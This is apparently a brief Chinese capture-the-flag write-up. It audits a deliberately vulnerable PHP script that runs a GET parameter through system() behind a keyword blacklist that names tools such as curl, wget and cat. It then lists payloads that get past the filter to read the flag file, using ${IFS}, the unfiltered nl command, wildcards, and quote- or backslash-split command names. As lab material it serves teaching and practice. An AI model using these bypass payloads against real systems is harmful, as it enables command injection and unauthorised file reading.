代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
仔细看下,
$
没过滤,nl
没过滤,还不会重定向了
```shell ?c=nl${IFS}fla?.php ?c=ta’’c${IFS}fl’’ag.php
新姿势,利用\进行绕过
?c=ta\c${IFS}fl\ag.php ```